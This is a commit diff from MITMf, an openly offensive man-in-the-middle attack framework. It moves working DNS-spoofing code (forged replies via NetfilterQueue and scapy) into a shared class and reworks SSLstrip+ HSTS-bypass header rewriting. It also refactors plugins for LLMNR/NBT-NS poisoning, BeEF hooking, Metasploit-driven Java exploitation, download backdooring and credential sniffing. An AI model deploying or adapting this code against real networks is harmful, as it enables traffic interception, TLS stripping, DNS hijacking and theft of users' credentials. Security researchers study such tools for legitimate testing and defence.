Merge branch 'master' of github.com:byt3bl33d3r/MITMf into v0.9.6

This commit is contained in:
byt3bl33d3r 2015-04-10 15:57:17 +02:00
commit eb7e797ded
20 changed files with 230 additions and 247 deletions

View file

@ -15,6 +15,10 @@ As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently
Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it.
Installation
============
If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file
Availible plugins Availible plugins
================= =================
- Responder - LLMNR, NBT-NS and MDNS poisoner - Responder - LLMNR, NBT-NS and MDNS poisoner

View file

@ -167,7 +167,7 @@
manifest_url = http://www.google.com/robots.txt manifest_url = http://www.google.com/robots.txt
[[facebook]] [[facebook]]
tamper_url=http://www.facebook.com/ tamper_url=http://www.facebook.com/?_rdr
manifest_url=http://www.facebook.com/robots.txt manifest_url=http://www.facebook.com/robots.txt
templates=facebook # use different template templates=facebook # use different template
@ -230,7 +230,7 @@
accounts.google.se = cuentas.google.se accounts.google.se = cuentas.google.se
#for facebook #for facebook
facebook.com = social.facebook.com www.facebook.com = social.facebook.com
#-----------------------------------------------------------------------------------------------------------------------------------------# #-----------------------------------------------------------------------------------------------------------------------------------------#

View file

@ -59,20 +59,8 @@ class ClientRequest(Request):
#for k,v in headers.iteritems(): #for k,v in headers.iteritems():
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
if 'accept-encoding' in headers:
headers['accept-encoding'] == 'identity'
logging.debug("Zapped encoding")
if 'if-modified-since' in headers:
del headers['if-modified-since']
if 'cache-control' in headers:
del headers['cache-control']
if self.hsts: if self.hsts:
if 'if-none-match' in headers:
del headers['if-none-match']
if 'referer' in headers: if 'referer' in headers:
real = self.urlMonitor.real real = self.urlMonitor.real
@ -80,15 +68,24 @@ class ClientRequest(Request):
dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
if 'if-none-match' in headers:
del headers['if-none-match']
if 'host' in headers: if 'host' in headers:
host = self.urlMonitor.URLgetRealHost(headers['host']) host = self.urlMonitor.URLgetRealHost(str(headers['host']))
if host[1] is True: logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0])) headers['host'] = host
headers['host'] = host[0] self.setHeader('Host', host)
headers['securelink'] = '1'
self.setHeader('Host',host[0]) if 'accept-encoding' in headers:
else: del headers['accept-encoding']
logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host']) logging.debug("Zapped encoding")
if 'if-modified-since' in headers:
del headers['if-modified-since']
if 'cache-control' in headers:
del headers['cache-control']
self.plugins.hook() self.plugins.hook()
@ -113,7 +110,7 @@ class ClientRequest(Request):
return "lock.ico" return "lock.ico"
def handleHostResolvedSuccess(self, address): def handleHostResolvedSuccess(self, address):
logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
host = self.getHeader("host") host = self.getHeader("host")
headers = self.cleanHeaders() headers = self.cleanHeaders()
client = self.getClientIP() client = self.getClientIP()
@ -123,12 +120,16 @@ class ClientRequest(Request):
if self.content: if self.content:
self.content.seek(0,0) self.content.seek(0,0)
postData = self.content.read() postData = self.content.read()
if self.hsts: if self.hsts:
real = self.urlMonitor.real host = self.urlMonitor.URLgetRealHost(str(host))
real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict patchDict = self.urlMonitor.patchDict
url = 'http://' + host + path
self.uri = url # set URI to absolute
if len(real) > 0: if len(real) > 0:
dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
@ -140,7 +141,7 @@ class ClientRequest(Request):
postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
headers['content-length'] = "%d" % len(postData) headers['content-length'] = str(len(postData))
#self.dnsCache.cacheResolution(host, address) #self.dnsCache.cacheResolution(host, address)
hostparts = host.split(':') hostparts = host.split(':')
@ -171,7 +172,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port) self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error): def handleHostResolvedError(self, error):
logging.warning("Host resolution error: " + str(error)) logging.warning("[ClientRequest] Host resolution error: " + str(error))
try: try:
self.finish() self.finish()
except: except:
@ -188,26 +189,13 @@ class ClientRequest(Request):
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):
logging.debug("Resolving host: %s" % (self.getHeader('host'))) logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
host = self.getHeader('host') host = self.getHeader('host').split(":")[0]
if (self.hsts and host): if self.hsts:
real = self.urlMonitor.real host = self.urlMonitor.URLgetRealHost("%s"%host)
if 'wwww' in host:
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = host[1:]
elif 'web' in host:
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = host[3:]
elif host in real:
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
host = real[host]
hostparts = host.split(':')
#deferred = self.resolveHost(host)
deferred = self.resolveHost(hostparts[0])
deferred = self.resolveHost(host)
deferred.addCallback(self.handleHostResolvedSuccess) deferred.addCallback(self.handleHostResolvedSuccess)
deferred.addErrback(self.handleHostResolvedError) deferred.addErrback(self.handleHostResolvedError)

View file

@ -19,6 +19,7 @@
import logging, re, string import logging, re, string
from ServerConnection import ServerConnection from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
class SSLServerConnection(ServerConnection): class SSLServerConnection(ServerConnection):
@ -36,6 +37,8 @@ class SSLServerConnection(ServerConnection):
def __init__(self, command, uri, postData, headers, client): def __init__(self, command, uri, postData, headers, client):
ServerConnection.__init__(self, command, uri, postData, headers, client) ServerConnection.__init__(self, command, uri, postData, headers, client)
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().isHstsBypass()
def getLogLevel(self): def getLogLevel(self):
return logging.INFO return logging.INFO
@ -44,7 +47,7 @@ class SSLServerConnection(ServerConnection):
return "SECURE POST" return "SECURE POST"
def handleHeader(self, key, value): def handleHeader(self, key, value):
if ServerConnection.isHsts(self): if self.hsts:
if (key.lower() == 'set-cookie'): if (key.lower() == 'set-cookie'):
newvalues =[] newvalues =[]
value = SSLServerConnection.cookieExpression.sub("\g<1>", value) value = SSLServerConnection.cookieExpression.sub("\g<1>", value)

View file

@ -54,6 +54,7 @@ class ServerConnection(HTTPClient):
self.clientInfo = None self.clientInfo = None
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().isHstsBypass() self.hsts = URLMonitor.getInstance().isHstsBypass()
self.app = URLMonitor.getInstance().isAppCachePoisoning()
self.plugins = ProxyPlugins.getInstance() self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False self.isImageRequest = False
self.isCompressed = False self.isCompressed = False
@ -63,9 +64,6 @@ class ServerConnection(HTTPClient):
def getPostPrefix(self): def getPostPrefix(self):
return "POST" return "POST"
def isHsts(self):
return self.hsts
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
try: try:
@ -113,7 +111,8 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'location'): if (key.lower() == 'location'):
value = self.replaceSecureLinks(value) value = self.replaceSecureLinks(value)
self.urlMonitor.addRedirection(self.client.uri, value) if self.app:
self.urlMonitor.addRedirection(self.client.uri, value)
if (key.lower() == 'content-type'): if (key.lower() == 'content-type'):
if (value.find('image') != -1): if (value.find('image') != -1):
@ -166,7 +165,7 @@ class ServerConnection(HTTPClient):
logging.debug("Decompressing content...") logging.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
logging.debug("Read from server:\n" + data) #logging.debug("Read from server:\n" + data)
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
res = self.plugins.hook() res = self.plugins.hook()

View file

@ -43,6 +43,7 @@ class URLMonitor:
self.redirects = [] self.redirects = []
self.faviconReplacement = False self.faviconReplacement = False
self.hsts = False self.hsts = False
self.app = False
self.hsts_config = None self.hsts_config = None
@staticmethod @staticmethod
@ -71,7 +72,7 @@ class URLMonitor:
s.add(to_url) s.add(to_url)
return return
url_set = set([from_url, to_url]) url_set = set([from_url, to_url])
logging.debug("[URLMonitor] Set redirection: %s" % url_set) logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set)
self.redirects.append(url_set) self.redirects.append(url_set)
def getRedirectionSet(self, url): def getRedirectionSet(self, url):
@ -138,6 +139,9 @@ class URLMonitor:
self.sustitucion[k] = v self.sustitucion[k] = v
self.real[v] = k self.real[v] = k
def setAppCachePoisoning(self):
self.app = True
def setClientLogging(self, clientLogging): def setClientLogging(self, clientLogging):
self.clientLogging = clientLogging self.clientLogging = clientLogging
@ -150,14 +154,17 @@ class URLMonitor:
def isHstsBypass(self): def isHstsBypass(self):
return self.hsts return self.hsts
def isAppCachePoisoning(self):
return self.app
def isSecureFavicon(self, client, url): def isSecureFavicon(self, client, url):
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self,host): def URLgetRealHost(self, host):
logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host) logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host)
if self.real.has_key(host): if self.real.has_key(host):
logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host]) logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host])
return (self.real[host], True) return self.real[host]
else: else:
logging.debug("[URLMonitor][HSTS]New host: %s"%host) logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host)
return (host, False) return host

View file

@ -97,7 +97,6 @@ class Banners:
\/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/
""" """
@property
def printBanner(self): def printBanner(self):
banners = [self.banner1, self.banner2, self.banner3, self.banner4] banners = [self.banner1, self.banner2, self.banner3, self.banner4]
print random.choice(banners) print random.choice(banners)

View file

@ -1,47 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import threading
from netfilterqueue import NetfilterQueue
class Nfqueue():
def __init__(self, queue_number):
self.queue_number = queue_number
self.nfqueue = NetfilterQueue()
def start(self):
t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True)
t.start()
def bind(self):
self.nfqueue.bind(self.queue_number, self.callback)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def callback(self, payload):
payload.accept()

View file

@ -22,10 +22,12 @@ import logging
import threading import threading
import binascii import binascii
import random import random
import dns.resolver
from base64 import b64decode from base64 import b64decode
from urllib import unquote from urllib import unquote
from time import sleep from time import sleep
from netfilterqueue import NetfilterQueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import * from scapy.all import *
@ -240,3 +242,132 @@ class _ICMP():
def send_icmps(self, pkt, interface, debug): def send_icmps(self, pkt, interface, debug):
while self.send: while self.send:
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
class _DNS():
hsts = False
dns = False
hstscfg = None
dnscfg = None
_instance = None
nfqueue = NetfilterQueue()
queue_number = 0
def __init__(self):
t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True)
t.start()
@staticmethod
def getInstance():
if _DNS._instance is None:
_DNS._instance = _DNS()
return _DNS._instance
@staticmethod
def checkInstance():
if _DNS._instance is None:
return False
else:
return True
def bind(self):
self.nfqueue.bind(self.queue_number, self.callback)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def enableHSTS(self, config):
self.hsts = True
self.hstscfg = config
def enableDNS(self, config):
self.dns = True
self.dnscfg = config
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.info("Error resolving " + domain)
def callback(self, payload):
try:
#logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
return
if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
self.modify_dns(payload, pkt, v)
return
payload.accept()
elif self.hsts:
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.items():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)

View file

@ -53,7 +53,7 @@ mitmf_version = "0.9.6"
sslstrip_version = "0.9" sslstrip_version = "0.9"
sergio_version = "0.2.1" sergio_version = "0.2.1"
Banners().printBanner Banners().printBanner()
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options #add MITMf options
@ -162,12 +162,18 @@ load = []
for p in plugins: for p in plugins:
try: try:
if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version)
if getattr(args, p.optname): if getattr(args, p.optname):
p.initialize(args) p.initialize(args)
load.append(p) load.append(p)
if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version)
if p.output:
for line in p.output:
print "| |_ %s" % line
except Exception, e: except Exception, e:
print "[-] Error loading plugin %s: %s" % (p.name, str(e)) print "[-] Error loading plugin %s: %s" % (p.name, str(e))

View file

@ -44,6 +44,8 @@ class AppCachePlugin(Plugin):
self.mass_poisoned_browsers = [] self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
try: try:
self.config = options.configfile['AppCachePoison'] self.config = options.configfile['AppCachePoison']
except Exception, e: except Exception, e:

View file

@ -66,7 +66,8 @@ class BeefAutorun(Inject, Plugin):
if not beef.login(beefconfig['user'], beefconfig['pass']): if not beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!") sys.exit("[-] Error logging in to BeEF!")
print "| |_ Mode: %s" % self.Mode self.output.append("Mode: %s" % self.Mode)
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

View file

@ -124,6 +124,8 @@ class FilePwn(Plugin):
self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist']
self.output.append("BDFProxy by midnite_runr online")
def convert_to_Bool(self, aString): def convert_to_Bool(self, aString):
if aString.lower() == 'true': if aString.lower() == 'true':
return True return True

View file

@ -72,7 +72,7 @@ class JavaPwn(BrowserProfiler, Plugin):
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass) msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version'] version = msf.call('core.version')['version']
print "| |_ Connected to Metasploit v%s" % version self.output.append("Connected to Metasploit v%s" % version)
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

View file

@ -47,10 +47,10 @@ class Responder(Plugin):
except Exception, e: except Exception, e:
sys.exit('[-] Error parsing config for Responder: ' + str(e)) sys.exit('[-] Error parsing config for Responder: ' + str(e))
print "| |_ NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION self.output.append("NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION)
if options.Analyse: if options.Analyse:
print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' self.output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
start_responder(options, config) start_responder(options, config)

View file

@ -25,16 +25,13 @@ import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import SystemConfig from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from core.wrappers.nfqueue import Nfqueue from core.wrappers.protocols import _DNS
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
optname = 'hsts' optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass' desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.3" version = "0.4"
has_opts = False has_opts = False
req_root = True req_root = True
@ -50,84 +47,16 @@ class HSTSbypass(Plugin):
if not options.manualiptables: if not options.manualiptables:
SystemConfig.iptables.DNS(1) SystemConfig.iptables.DNS(1)
self.dns = DNSmirror(1) self.dns = _DNS.getInstance()
self.dns.hstscfg = config self.dns.enableHSTS(config)
self.dns.start()
print "| |_ SSLstrip+ by Leonardo Nve running" self.output.append("SSLstrip+ by Leonardo Nve running")
URLMonitor.getInstance().setHstsBypass(config) URLMonitor.getInstance().setHstsBypass(config)
def finish(self): def finish(self):
self.dns.stop() if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
if not self.manualiptables: if not self.manualiptables:
SystemConfig.iptables.Flush() SystemConfig.iptables.Flush()
class DNSmirror(Nfqueue):
hstscfg = None
def callback(self, payload):
try:
#logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.iteritems():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(mpkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.info("Error resolving " + domain)

View file

@ -66,7 +66,7 @@ class Sniffer(Plugin):
n = NetCreds() n = NetCreds()
#if not self.parse: #if not self.parse:
print "| |_ Net-Creds online" self.output.append("Net-Creds online")
t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

View file

@ -23,8 +23,7 @@ import sys
from core.utils import SystemConfig from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS
from core.wrappers.nfqueue import Nfqueue
from plugins.plugin import Plugin from plugins.plugin import Plugin
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
@ -34,7 +33,7 @@ class Spoof(Plugin):
name = "Spoof" name = "Spoof"
optname = "spoof" optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
version = "0.5" version = "0.6"
has_opts = True has_opts = True
req_root = True req_root = True
@ -100,11 +99,8 @@ class Spoof(Plugin):
for domain, ip in self.dnscfg.iteritems(): for domain, ip in self.dnscfg.iteritems():
dnscache.cacheResolution(domain, ip) dnscache.cacheResolution(domain, ip)
dns = DNStamper(0) self.dns = _DNS.getInstance()
dns.dnscfg = self.dnscfg self.dns.enableDNS(self.dnscfg)
self.protocolInstances.append(dns)
SystemConfig.setIpForwarding(1) SystemConfig.setIpForwarding(1)
@ -130,48 +126,10 @@ class Spoof(Plugin):
for protocol in self.protocolInstances: for protocol in self.protocolInstances:
protocol.stop() protocol.stop()
if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
if not self.manualiptables: if not self.manualiptables:
SystemConfig.iptables.Flush() SystemConfig.iptables.Flush()
SystemConfig.setIpForwarding(0) SystemConfig.setIpForwarding(0)
class DNStamper(Nfqueue):
dnscfg = None
def callback(self, payload):
try:
logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
for k, v in self.dnscfg.iteritems():
if k == pkt[DNSQR].qname[:-1]:
self.modify_dns(payload, pkt, v)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(mpkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)

View file

@ -5,11 +5,13 @@ can get called during the MITM attack.
class Plugin(object): class Plugin(object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
desc = "" desc = ""
implements = [] implements = []
has_opts = False output = []
has_opts = False
req_root = False
def __init__(self): def __init__(self):
'''Called on plugin instantiation. Probably don't need this''' '''Called on plugin instantiation. Probably don't need this'''

View file

@ -4,6 +4,5 @@ if [[ $EUID -ne 0 ]]; then
exit 1 exit 1
fi fi
git submodule init git submodule init && git submodule update --recursive
git submodule update
cd libs/bdfactory/ && ./install.sh cd libs/bdfactory/ && ./install.sh